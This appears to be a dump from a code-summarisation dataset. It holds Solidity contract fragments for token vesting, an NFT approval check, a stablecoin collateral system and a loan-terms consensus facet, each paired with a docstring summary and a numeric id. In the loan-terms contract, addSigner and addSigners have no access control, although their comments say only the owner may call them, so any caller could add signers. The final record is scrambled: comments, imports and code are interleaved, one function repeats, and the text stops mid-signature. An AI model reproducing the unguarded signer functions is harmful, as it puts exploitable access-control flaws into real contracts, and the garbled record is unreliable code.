/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract RoundedTokenVesting is TokenVesting {
using SafeMath for uint256;
// Minimum transferable chunk
uint256 public granularity;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
uint256 _granularity
)
public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{
granularity = _granularity;
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
uint256 notRounded = totalBalance.mul(block.timestamp.sub(start)).div(duration);
// Round down to the nearest token chunk by using integer division: (x / 1e18) * 1e18
uint256 rounded = notRounded.div(granularity).mul(granularity);
return rounded;
}
}
}
contract TendTokenVested is TendToken {
using SafeMath for uint256;
/*** CONSTANTS ***/
uint256 public constant DEVELOPMENT_TEAM_CAP = 2e6 * 1e18; // 2 million * 1e18
uint256 public constant VESTING_CLIFF = 0 days;
uint256 public constant VESTING_DURATION = 3 * 365 days;
uint256 public developmentTeamTokensMinted;
// for convenience we store vesting wallets
address[] public vestingWallets;
modifier onlyNoneZero(address _to, uint256 _amount) {
require(_to != address(0));
require(_amount > 0);
_;
}
/**
* @dev allows contract owner to mint team tokens per DEVELOPMENT_TEAM_CAP and transfer to the development team's wallet (yes vesting)
* @param _to address for beneficiary
* @param _tokens uint256 token amount to mint
*/
function mintDevelopmentTeamTokens(address _to, uint256 _tokens) public onlyOwner onlyNoneZero(_to, _tokens) returns (bool) {
requireMultiple(_tokens);
require(developmentTeamTokensMinted.add(_tokens) <= DEVELOPMENT_TEAM_CAP);
developmentTeamTokensMinted = developmentTeamTokensMinted.add(_tokens);
RoundedTokenVesting newVault = new RoundedTokenVesting(_to, block.timestamp, VESTING_CLIFF, VESTING_DURATION, false, granularity);
vestingWallets.push(address(newVault)); // for convenience we keep them in storage so that they are easily accessible via MEW or etherscan
return mint(address(newVault), _tokens);
}
/**
* @dev returns number of elements in the vestinWallets array
*/
function getVestingWalletLength() public view returns (uint256) {
return vestingWallets.length;
}
}
|
* @dev Internal function that ensures `_amount` is multiple of the granularity @param _amount The quantity that wants to be checked/
|
function requireMultiple(uint256 _amount) internal view {
require(_amount.div(granularity).mul(granularity) == _amount);
}
| 12,540,948
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./full_match/3/0x86ECD3151c87a443a132051B8B5800a2F9Ec1256/sources/contracts/TheDudesV5.sol
|
* @dev Returns whether `spender` is allowed to manage `tokenId`. Requirements: - `tokenId` must exist./
|
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = TheDudesERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
| 8,152,301
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../Bdx/BDXShares.sol";
import "../Oracle/IOracleBasedCryptoFiatFeed.sol";
import "../Oracle/ICryptoPairOracle.sol";
import "./Pools/BdStablePool.sol";
import "./Pools/BdPoolLibrary.sol";
contract BDStable is ERC20Upgradeable, OwnableUpgradeable {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
enum PriceChoice {
BDSTABLE,
BDX
}
uint8 private constant MAX_NUMBER_OF_POOLS = 32;
uint256 public unclaimedPoolsBDX;
IERC20 private BDX;
address public treasury;
ICryptoPairOracle private bdstableWethOracle;
ICryptoPairOracle private bdxWethOracle;
IOracleBasedCryptoFiatFeed private weth_fiat_pricer;
uint256 public global_collateral_ratio_d12; // 12 decimals of precision
address public weth_address;
// The addresses in this array are added by the oracle and these contracts are able to mint bdStable
address payable[] public bdstable_pools_array;
// Mapping is also used for faster verification
mapping(address => bool) public bdstable_pools;
uint256 public bdStable_step_d12; // Amount to change the collateralization ratio by upon refreshCollateralRatio()
uint256 public refresh_cooldown; // Seconds to wait before being able to run refreshCollateralRatio() again
uint256 public price_target_d12; // The price of BDSTABLE at which the collateral ratio will respond to; this value is only used for the collateral ratio mechanism and not for minting and redeeming which are hardcoded at 1 <fiat>
uint256 public price_band_d12; // The bound above and below the price target at which the refreshCollateralRatio() will not change the collateral ratio
uint256 private minimumMintRedeemDelayInBlocks = 1;
bool public collateral_ratio_paused;
mapping(address => uint256) public lastMintByUserBlock;
// There needs to be a time interval that this can be called. Otherwise it can be called multiple times per expansion.
uint256 public refreshCollateralRatio_last_call_time; // Last time the collateral ration was refreshed function was executed
/* ========== MODIFIERS ========== */
modifier onlyPools() {
require(bdstable_pools[msg.sender] == true, "Only bd pools can call this function");
_;
}
modifier onlyOwnerOrPool() {
require(msg.sender == owner() || bdstable_pools[msg.sender] == true, "You are not the owner or a pool");
_;
}
/* ========== CONSTRUCTOR ========== */
function initialize(
string memory _name,
string memory _symbol,
address _treasury,
address _bdx_address,
uint256 _initalBdStableToTreasury_d18
) external initializer {
require(bytes(_name).length > 0, "Name cannot be empty");
require(bytes(_symbol).length > 0, "Symbol cannot be empty");
require(_bdx_address != address(0), "BDX address cannot be 0");
__ERC20_init(_name, _symbol);
__Ownable_init();
treasury = _treasury;
BDX = IERC20(_bdx_address);
bdStable_step_d12 = (uint256(BdPoolLibrary.PRICE_PRECISION) * 25) / 10000; // 12 decimals of precision, equal to 0.25%
global_collateral_ratio_d12 = uint256(BdPoolLibrary.COLLATERAL_RATIO_MAX); // Bdstable system starts off fully collateralized (12 decimals of precision)
price_target_d12 = uint256(BdPoolLibrary.PRICE_PRECISION); // Collateral ratio will adjust according to the 1 <fiat> price target at genesis
price_band_d12 = (uint256(BdPoolLibrary.PRICE_PRECISION) * 50) / 10000; // Collateral ratio will not adjust if between 0.995<fiat> and 1.005<fiat> at genesis
refresh_cooldown = 3600; // Refresh cooldown period is set to 1 hour (3600 seconds) at genesis
if (_initalBdStableToTreasury_d18 > 0) {
_mint(_treasury, _initalBdStableToTreasury_d18); // so treasury can provide liqidity to swaps and we could get prices from the swaps
}
}
/* ========== VIEWS ========== */
function getBdStablesPoolsLength() external view returns (uint256) {
return bdstable_pools_array.length;
}
// collateral value in fiat corresponding to the stable
// Iterate through all bd pools and calculate all value of collateral in all pools globally
function globalCollateralValue() public view returns (uint256) {
uint256 total_collateral_value_d18 = 0;
// bdstable_pools_array.length is limited by addPool function
for (uint256 i = 0; i < bdstable_pools_array.length; i++) {
total_collateral_value_d18 = total_collateral_value_d18 + (BdStablePool(bdstable_pools_array[i]).collatFiatBalance());
}
return total_collateral_value_d18;
}
// Choice = 'BDSTABLE' or 'BDX' for now
function oracle_price(PriceChoice choice) internal view returns (uint256) {
uint256 weth_fiat_price_d12 = weth_fiat_price();
uint256 price_vs_weth;
if (choice == PriceChoice.BDSTABLE) {
price_vs_weth = uint256(bdstableWethOracle.consult(weth_address, BdPoolLibrary.PRICE_PRECISION)); // How much BDSTABLE if you put in BdPoolLibrary.PRICE_PRECISION WETH
} else if (choice == PriceChoice.BDX) {
price_vs_weth = uint256(bdxWethOracle.consult(weth_address, BdPoolLibrary.PRICE_PRECISION)); // How much BDX if you put in BdPoolLibrary.PRICE_PRECISION WETH
} else revert("INVALID PRICE CHOICE. Needs to be either 0 (BDSTABLE) or 1 (BDX)");
return (weth_fiat_price_d12 * BdPoolLibrary.PRICE_PRECISION) / price_vs_weth;
}
function updateOraclesIfNeeded() external {
if (bdxWethOracle.shouldUpdateOracle()) {
bdxWethOracle.updateOracle();
}
if (bdstableWethOracle.shouldUpdateOracle()) {
bdstableWethOracle.updateOracle();
}
}
function shouldUpdateOracles() external view returns (bool) {
return bdxWethOracle.shouldUpdateOracle() || bdstableWethOracle.shouldUpdateOracle();
}
// Returns BDSTABLE / <fiat>
function bdstable_price_d12() public view returns (uint256) {
return oracle_price(PriceChoice.BDSTABLE);
}
// Returns BDX / <fiat>
function BDX_price_d12() external view returns (uint256) {
return oracle_price(PriceChoice.BDX);
}
function effective_global_collateral_ratio_d12() public view returns (uint256) {
uint256 bdStable_total_supply = totalSupply();
uint256 global_collat_value = globalCollateralValue();
uint256 efCR = (global_collat_value * BdPoolLibrary.PRICE_PRECISION) / bdStable_total_supply;
return efCR;
}
function weth_fiat_price() public view returns (uint256) {
return uint256(weth_fiat_pricer.getPrice_1e12());
}
function canLegallyRedeem(address who) external view returns (bool) {
return (block.number - lastMintByUserBlock[who]) >= minimumMintRedeemDelayInBlocks;
}
// Returns the value of excess collateral held in all BdStablePool related to this BdStable, compared to what is needed to maintain the global collateral ratio
function availableExcessCollatDV() external view returns (uint256) {
uint256 total_supply = totalSupply();
uint256 global_collat_value = globalCollateralValue();
// Calculates collateral needed to back each 1 BdStable with $1 of collateral at current collat ratio
uint256 required_collat_fiat_value_d18 = (total_supply * global_collateral_ratio_d12) / BdPoolLibrary.COLLATERAL_RATIO_MAX;
if (global_collat_value > required_collat_fiat_value_d18) {
return (global_collat_value - required_collat_fiat_value_d18);
} else {
return 0;
}
}
/* ========== PUBLIC FUNCTIONS ========== */
function when_should_refresh_collateral_ratio_in_seconds() public view returns (uint256) {
uint256 secondsSinceLastRefresh = block.timestamp - refreshCollateralRatio_last_call_time;
return secondsSinceLastRefresh > refresh_cooldown ? 0 : (refresh_cooldown - secondsSinceLastRefresh);
}
function refreshCollateralRatio() external {
if (collateral_ratio_paused == true) {
return;
}
if (when_should_refresh_collateral_ratio_in_seconds() > 0) {
return;
}
if (bdstableWethOracle.shouldUpdateOracle()) {
bdstableWethOracle.updateOracle();
}
uint256 bdstable_price_cur = bdstable_price_d12();
// Step increments are 0.25% (upon genesis, changable)
if (bdstable_price_cur > (price_target_d12 + price_band_d12)) {
//decrease collateral ratio
if (global_collateral_ratio_d12 <= bdStable_step_d12) {
//if within a step of 0, go to 0
global_collateral_ratio_d12 = 0;
} else {
global_collateral_ratio_d12 = global_collateral_ratio_d12 - bdStable_step_d12;
}
} else if (bdstable_price_cur < (price_target_d12 - price_band_d12)) {
//increase collateral ratio
if ((global_collateral_ratio_d12 + bdStable_step_d12) >= BdPoolLibrary.COLLATERAL_RATIO_MAX) {
global_collateral_ratio_d12 = BdPoolLibrary.COLLATERAL_RATIO_MAX; // cap collateral ratio at 1.000000
} else {
global_collateral_ratio_d12 = global_collateral_ratio_d12 + bdStable_step_d12;
}
}
refreshCollateralRatio_last_call_time = block.timestamp; // Set the time of the last expansion
emit CollateralRatioRefreshed(global_collateral_ratio_d12);
}
function get_effective_bdx_coverage_ratio() external view returns (uint256) {
uint256 effective_collateral_ratio_d12 = effective_global_collateral_ratio_d12();
uint256 cr = global_collateral_ratio_d12 > effective_collateral_ratio_d12 ? effective_collateral_ratio_d12 : global_collateral_ratio_d12;
uint256 expectedBdxValue_d18 = ((BdPoolLibrary.COLLATERAL_RATIO_MAX - cr) * totalSupply()) / BdPoolLibrary.COLLATERAL_RATIO_PRECISION;
if (expectedBdxValue_d18 == 0) {
return BdPoolLibrary.COLLATERAL_RATIO_MAX; // in we need no BDX, the coverage is 100%
}
uint256 bdxPrice_d12 = oracle_price(PriceChoice.BDX);
if (bdxPrice_d12 == 0) {
return 0; // in we need BDX but BDX price is 0, the coverage is 0%
}
uint256 expectedBdx_d18 = (expectedBdxValue_d18 * BdPoolLibrary.PRICE_PRECISION) / bdxPrice_d12;
uint256 bdxSupply_d18 = BDX.balanceOf(address(this)) - unclaimedPoolsBDX;
uint256 effectiveBdxCR_d12 = (BdPoolLibrary.PRICE_PRECISION * bdxSupply_d18) / expectedBdx_d18;
return effectiveBdxCR_d12 > BdPoolLibrary.COLLATERAL_RATIO_MAX ? BdPoolLibrary.COLLATERAL_RATIO_MAX : effectiveBdxCR_d12;
}
/* ========== RESTRICTED FUNCTIONS ========== */
// Used by pools when user redeems
function pool_burn_from(address b_address, uint256 b_amount) external onlyPools {
burnFrom(b_address, b_amount);
emit BdStableBurned(b_address, msg.sender, b_amount);
}
// This function is what other bd pools will call to mint new bd stable
function pool_mint(address m_address, uint256 m_amount) external onlyPools {
super._mint(m_address, m_amount);
lastMintByUserBlock[m_address] = block.number;
emit BdStableMinted(msg.sender, m_address, m_amount);
}
// Adds collateral addresses supported, such as tether and busd, must be ERC20
function addPool(address pool_address) external onlyOwner {
require(bdstable_pools[pool_address] == false, "pool already exists");
require(bdstable_pools_array.length < MAX_NUMBER_OF_POOLS, "pools limit reached");
bdstable_pools[pool_address] = true;
bdstable_pools_array.push(payable(pool_address));
emit PoolAdded(pool_address);
}
// Remove a pool
function removePool(address pool_address) external onlyOwner {
require(bdstable_pools[pool_address] == true, "address doesn't exist already");
delete bdstable_pools[pool_address];
// bdstable_pools_array.length is limited by addPool function
for (uint256 i = 0; i < bdstable_pools_array.length; i++) {
if (bdstable_pools_array[i] == pool_address) {
bdstable_pools_array[i] = bdstable_pools_array[bdstable_pools_array.length - 1];
bdstable_pools_array.pop();
break;
}
}
emit PoolRemoved(pool_address);
}
function setBDStable_WETH_Oracle(address _bdstable_oracle_addr, address _weth_address) external onlyOwner {
require(_bdstable_oracle_addr != address(0), "Oracle cannot be set to the zero address");
require(_weth_address != address(0), "WETH cannot be set to the zero address");
bdstableWethOracle = ICryptoPairOracle(_bdstable_oracle_addr);
weth_address = _weth_address;
emit BDStableWETHOracleSet(_bdstable_oracle_addr, _weth_address);
}
function setBDX_WETH_Oracle(address _bdx_oracle_addr, address _weth_address) external onlyOwner {
require(_bdx_oracle_addr != address(0), "Oracle cannot be set to the zero address");
require(_weth_address != address(0), "WETH cannot be set to the zero address");
bdxWethOracle = ICryptoPairOracle(_bdx_oracle_addr);
weth_address = _weth_address;
emit BDXWETHOracleSet(_bdx_oracle_addr, _weth_address);
}
function setETH_fiat_Oracle(address _eth_fiat_consumer_address) external onlyOwner {
require(_eth_fiat_consumer_address != address(0), "Oracle cannot be set to the zero address");
weth_fiat_pricer = IOracleBasedCryptoFiatFeed(_eth_fiat_consumer_address);
emit EthFiatOracleSet(_eth_fiat_consumer_address);
}
function setBdStable_step_d12(uint256 _bdStable_step_d12) external onlyOwner {
bdStable_step_d12 = _bdStable_step_d12;
emit BdStableStepSet(_bdStable_step_d12);
}
function set_price_target_d12(uint256 _price_target_d12) external onlyOwner {
price_target_d12 = _price_target_d12;
emit PriceTargetSet(_price_target_d12);
}
function set_price_band_d12(uint256 _price_band_d12) external onlyOwner {
price_band_d12 = _price_band_d12;
emit PriceBandSet(_price_band_d12);
}
function toggleCollateralRatioPaused() external onlyOwner {
collateral_ratio_paused = !collateral_ratio_paused;
emit CollateralRatioPausedToggled(collateral_ratio_paused);
}
function lockCollateralRatioAt(uint256 wantedCR_d12) external onlyOwner {
require(wantedCR_d12 <= BdPoolLibrary.COLLATERAL_RATIO_MAX, "CR must be <0;1>");
global_collateral_ratio_d12 = wantedCR_d12;
collateral_ratio_paused = true;
emit CollateralRatioLocked(wantedCR_d12);
}
function setTreasury(address _treasury) external onlyOwner {
treasury = _treasury;
emit TreasuryChanged(_treasury);
}
function setMinimumSwapsDelayInBlocks(uint256 _minimumMintRedeemDelayInBlocks) external onlyOwner {
minimumMintRedeemDelayInBlocks = _minimumMintRedeemDelayInBlocks;
emit MinimumMintRedeemDelayInBlocksSet(_minimumMintRedeemDelayInBlocks);
}
function pool_claim_bdx(uint256 amount) external onlyPools {
unclaimedPoolsBDX = unclaimedPoolsBDX + amount;
}
function pool_transfer_claimed_bdx(address to, uint256 amount) external onlyPools {
unclaimedPoolsBDX = unclaimedPoolsBDX - amount;
BDX.safeTransfer(to, amount);
}
function transfer_bdx(address to, uint256 BDX_amount) external onlyOwnerOrPool {
require((BDX.balanceOf(address(this)) - unclaimedPoolsBDX) >= BDX_amount, "Not enough BDX");
BDX.safeTransfer(to, BDX_amount);
}
function transfer_bdx_force(address to, uint256 BDX_amount) external onlyOwner {
BDX.safeTransfer(to, BDX_amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 permittedAllowance = allowance(account, _msgSender());
require(amount <= permittedAllowance, "ERC20: burn amount exceeds allowance");
uint256 decreasedAllowance = permittedAllowance - amount;
super._approve(account, _msgSender(), decreasedAllowance);
super._burn(account, amount);
}
/* ========== EVENTS ========== */
event CollateralRatioRefreshed(uint256 global_collateral_ratio);
event BdStableBurned(address indexed from, address indexed to, uint256 amount);
event BdStableMinted(address indexed from, address indexed to, uint256 amount);
event PoolAdded(address pool_address);
event PoolRemoved(address pool_address);
event BDStableWETHOracleSet(address indexed bdstable_oracle_addr, address indexed weth_address);
event BDXWETHOracleSet(address indexed bdx_oracle_address, address indexed weth_address);
event EthFiatOracleSet(address eth_fiat_consumer_address);
event BdStableStepSet(uint256 bdStable_step_d12);
event PriceBandSet(uint256 _price_band_d12);
event PriceTargetSet(uint256 _price_target_d12);
event CollateralRatioPausedToggled(bool collateral_ratio_paused);
event CollateralRatioLocked(uint256 lockedCR_d12);
event MinimumMintRedeemDelayInBlocksSet(uint256 minimumMintRedeemDelayInBlocks);
event TreasuryChanged(address newTreasury);
}
|
Used by pools when user redeems
|
function pool_burn_from(address b_address, uint256 b_amount) external onlyPools {
burnFrom(b_address, b_amount);
emit BdStableBurned(b_address, msg.sender, b_amount);
}
| 6,416,320
|
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./full_match/5/0x7f58aBD810cF051E4Ea73F3e8f28a91ce943d343/sources/contracts/OLORaffleMaster.sol
|
Will need to reset - after lucky draw is completed
|
RaffleTicket[] public unsoldTicketHistoryOLO1;
| 1,874,840
|
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pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
// Libraries
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../../util/ECDSALib.sol";
// Interfaces
import "../../interfaces/loans/ILoanData.sol";
import "../../interfaces/loans/ILoanTermsConsensus.sol";
import "../../interfaces/SettingsInterface.sol";
import "../../interfaces/escrow/IEscrow.sol";
import "../../interfaces/loans/ILoanManager.sol";
import "../../providers/openzeppelin/SignedSafeMath.sol";
// Contracts
import "../Base.sol";
import "../BaseStorage.sol";
import "./LoanStorage.sol";
/*****************************************************************************************************/
/** WARNING **/
/** THIS CONTRACT IS AN UPGRADEABLE FACET! **/
/** --------------------------------------------------------------------------------------------- **/
/** Do NOT place ANY storage/state variables directly in this contract! If you wish to make **/
/** make changes to the state variables used by this contract, do so in its defined Storage **/
/** contract that this contract inherits from **/
/** **/
/** Visit https://docs.openzeppelin.com/upgrades/2.6/proxies#upgrading-via-the-proxy-pattern for **/
/** more information. **/
/*****************************************************************************************************/
/**
* @notice This contract stores the logic for validating consensus on loan terms.
* @dev The LoanManager delegatecall's to this, like a Diamond.
*
* @author develop@teller.finance.
*/
contract LoanTermsConsensus is ILoanTermsConsensus, LoanStorage {
using SafeMath for uint256;
using NumbersList for NumbersList.Values;
using NumbersLib for uint256;
using Address for address;
using AddressArrayLib for AddressArrayLib.AddressArray;
/**
@notice Checks if the number of responses is greater or equal to a percentage of
the number of signers.
*/
modifier onlyEnoughSubmissions(uint256 responseCount) {
uint256 percentageRequired =
settings.getRequiredSubmissionsPercentageValue();
require(
responseCount.ratioOf(signers.array.length) >= percentageRequired,
"INSUFFICIENT_NUMBER_OF_RESPONSES"
);
_;
}
/**
@notice Processes the loan request
@param request Struct of the protocol loan request
@param responses List of structs of the protocol loan responses
@return uint256 Interest rate
@return uint256 Collateral ratio
@return uint256 Maximum loan amount
*/
function processLoanTerms(
TellerCommon.LoanRequest calldata request,
TellerCommon.LoanResponse[] calldata responses
)
external
view
onlyEnoughSubmissions(responses.length)
returns (
uint256 interestRate,
uint256 collateralRatio,
uint256 maxLoanAmount
)
{
// NOTE: nonReentrant doesn't work across facets unless we use
// diamond storage.
// WE CANNOT MAKE NON-STATIC EXTERNAL CALLS OR THE BORROWER
// COULD MANIPULATE THE NONCE
address borrower = request.borrower;
_validateLoanRequest(borrower, request.requestNonce);
require(
request.consensusAddress == address(this),
"BAD_CONSENSUS_ADDRESS"
);
bytes32 requestHash = _hashRequest(request);
uint256 responseExpiryLengthValue =
settings.getResponseExpiryLengthValue();
TellerCommon.AccruedLoanTerms memory termSubmissions;
for (uint256 i = 0; i < responses.length; i++) {
TellerCommon.LoanResponse memory response = responses[i];
require(_isSigner(response.signer), "NOT_SIGNER");
require(
response.consensusAddress == request.consensusAddress,
"CONSENSUS_ADDRESS_MISMATCH"
);
/**
Check if we've encountered this signer for this request already.
Not the cleanest solution to a dictionary lookup problem, but
that doesn't exist in EVM memory and this is relatively cheap
for a rather large number of signers.
Rough gas cost: (n/2) * (1 + n) * MLOAD + n * MSTORE.
*/
for (uint8 j = 0; j < i; j++) {
require(
response.signer != responses[j].signer,
"SIGNER_ALREADY_SUBMITTED"
);
}
require(
response.responseTime >= now.sub(responseExpiryLengthValue),
"RESPONSE_EXPIRED"
);
bytes32 responseHash = _hashResponse(response, requestHash);
require(
_signatureValid(
response.signature,
responseHash,
response.signer
),
"SIGNATURE_INVALID"
);
termSubmissions.interestRate.addValue(response.interestRate);
termSubmissions.collateralRatio.addValue(response.collateralRatio);
termSubmissions.maxLoanAmount.addValue(response.maxLoanAmount);
}
uint256 tolerance = settings.getMaximumToleranceValue();
interestRate = _getConsensus(termSubmissions.interestRate, tolerance);
collateralRatio = _getConsensus(
termSubmissions.collateralRatio,
tolerance
);
maxLoanAmount = _getConsensus(termSubmissions.maxLoanAmount, tolerance);
}
/**
@notice It adds a new account as a signer.
@param account address to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
*/
function addSigner(address account) external {
_addSigner(account);
}
/**
@notice It adds a list of account as signers.
@param accounts addresses to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
*/
function addSigners(address[] calldata accounts) external {
for (uint256 index = 0; index < accounts.length; index++) {
address account = accounts[index];
_addSigner(account);
}
}
/**
@notice Generates a hash for the loan response
@param response Structs of the protocol loan responses
@param requestHash Hash of the loan request
@return bytes32 Hash of the loan response
*/
function _hashResponse(
TellerCommon.LoanResponse memory response,
bytes32 requestHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encode(
response.consensusAddress,
response.responseTime,
response.interestRate,
response.collateralRatio,
response.maxLoanAmount,
_getChainId(),
requestHash
)
);
}
/**
@notice Generates a hash for the loan request
@param request Struct of the protocol loan request
@return bytes32 Hash of the loan request
*/
function _hashRequest(TellerCommon.LoanRequest memory request)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
request.borrower,
request.recipient,
request.consensusAddress,
request.requestNonce,
request.amount,
request.duration,
request.requestTime,
_getChainId()
)
);
}
/**
@notice It validates whether a signature is valid or not.
@param signature signature to validate.
@param dataHash used to recover the signer.
@param expectedSigner the expected signer address.
@return true if the expected signer is equal to the signer. Otherwise it returns false.
*/
function _signatureValid(
TellerCommon.Signature memory signature,
bytes32 dataHash,
address expectedSigner
) internal pure returns (bool) {
return
expectedSigner ==
ECDSA.recover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
dataHash
)
),
signature.v,
signature.r,
signature.s
);
}
/**
Checks if the nonce provided in the request is equal to the borrower's number of loans.
Also verifies if the borrower has taken out a loan recently (rate limit).
@param borrower the borrower's address.
@param nonce the nonce included in the loan request.
*/
function _validateLoanRequest(address borrower, uint256 nonce)
internal
view
{
uint256[] storage _borrowerLoans = borrowerLoans[borrower];
uint256 numberOfLoans = _borrowerLoans.length;
require(nonce == numberOfLoans, "BAD_NONCE");
// In case it is the first time that borrower requests loan terms, we don't
// validate the rate limit.
if (numberOfLoans == 0) {
return;
}
require(
loans[_borrowerLoans[numberOfLoans - 1]].loanStartTime.add(
settings.getRequestLoanTermsRateLimitValue()
) <= now,
"REQS_LOAN_TERMS_LMT_EXCEEDS_MAX"
);
}
function _isSigner(address account) internal view returns (bool isSigner_) {
(isSigner_, ) = signers.getIndex(account);
}
/**
@notice Gets the consensus value for a list of values (uint values).
@notice The values must be in a maximum tolerance range.
@return the consensus value.
*/
function _getConsensus(NumbersList.Values memory values, uint256 tolerance)
internal
pure
returns (uint256)
{
require(values.isWithinTolerance(tolerance), "RESPONSES_TOO_VARIED");
return values.getAverage();
}
/**
@notice Gets the current chain id using the opcode 'chainid()'.
@return the current chain id.
*/
function _getChainId() internal pure returns (uint256) {
// silence state mutability warning without generating bytecode.
// see https://github.com/ethereum/solidity/issues/2691
uint256 id;
assembly {
id := chainid()
}
return id;
}
function _addSigner(address account) internal {
if (!_isSigner(account)) {
signers.add(account);
}
}
}
|
****************************************************************************************************/* WARNING **/* THIS CONTRACT IS AN UPGRADEABLE FACET! **/* --------------------------------------------------------------------------------------------- **/* Do NOT place ANY storage/state variables directly in this contract! If you wish to make **/* make changes to the state variables used by this contract, do so in its defined Storage **/* contract that this contract inherits from **/* **/* more information. **/****************************************************************************************************/* @notice This contract stores the logic for validating consensus on loan terms. @dev The LoanManager delegatecall's to this, like a Diamond. @author develop@teller.finance./
|
contract LoanTermsConsensus is ILoanTermsConsensus, LoanStorage {
using SafeMath for uint256;
using NumbersList for NumbersList.Values;
using NumbersLib for uint256;
using Address for address;
using AddressArrayLib for AddressArrayLib.AddressArray;
@notice Checks if the number of responses is greater or equal to a percentage of
the number of signers.
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../../interfaces/loans/ILoanData.sol";
import "../Base.sol";
modifier onlyEnoughSubmissions(uint256 responseCount) {
uint256 percentageRequired =
settings.getRequiredSubmissionsPercentageValue();
require(
responseCount.ratioOf(signers.array.length) >= percentageRequired,
"INSUFFICIENT_NUMBER_OF_RESPONSES"
);
_;
}
@param request Struct of the protocol loan request
@param responses List of structs of the protocol loan responses
@return uint256 Interest rate
@return uint256 Collateral ratio
@return uint256 Maximum loan amount
@notice Processes the loan request
function processLoanTerms(
TellerCommon.LoanRequest calldata request,
TellerCommon.LoanResponse[] calldata responses
)
external
view
onlyEnoughSubmissions(responses.length)
returns (
uint256 interestRate,
uint256 collateralRatio,
uint256 maxLoanAmount
)
{
address borrower = request.borrower;
_validateLoanRequest(borrower, request.requestNonce);
require(
request.consensusAddress == address(this),
"BAD_CONSENSUS_ADDRESS"
);
bytes32 requestHash = _hashRequest(request);
uint256 responseExpiryLengthValue =
settings.getResponseExpiryLengthValue();
TellerCommon.AccruedLoanTerms memory termSubmissions;
for (uint256 i = 0; i < responses.length; i++) {
TellerCommon.LoanResponse memory response = responses[i];
require(_isSigner(response.signer), "NOT_SIGNER");
require(
response.consensusAddress == request.consensusAddress,
"CONSENSUS_ADDRESS_MISMATCH"
);
Check if we've encountered this signer for this request already.
Not the cleanest solution to a dictionary lookup problem, but
that doesn't exist in EVM memory and this is relatively cheap
for a rather large number of signers.
Rough gas cost: (n/2) * (1 + n) * MLOAD + n * MSTORE.
for (uint8 j = 0; j < i; j++) {
require(
response.signer != responses[j].signer,
"SIGNER_ALREADY_SUBMITTED"
);
}
require(
response.responseTime >= now.sub(responseExpiryLengthValue),
"RESPONSE_EXPIRED"
);
bytes32 responseHash = _hashResponse(response, requestHash);
require(
_signatureValid(
response.signature,
responseHash,
response.signer
),
"SIGNATURE_INVALID"
);
termSubmissions.interestRate.addValue(response.interestRate);
termSubmissions.collateralRatio.addValue(response.collateralRatio);
termSubmissions.maxLoanAmount.addValue(response.maxLoanAmount);
}
uint256 tolerance = settings.getMaximumToleranceValue();
interestRate = _getConsensus(termSubmissions.interestRate, tolerance);
collateralRatio = _getConsensus(
termSubmissions.collateralRatio,
tolerance
);
maxLoanAmount = _getConsensus(termSubmissions.maxLoanAmount, tolerance);
}
@param account address to add.
@dev The sender must be the owner.
@dev It throws a require error if the sender is not the owner.
function processLoanTerms(
TellerCommon.LoanRequest calldata request,
TellerCommon.LoanResponse[] calldata responses
)
external
view
onlyEnoughSubmissions(responses.length)
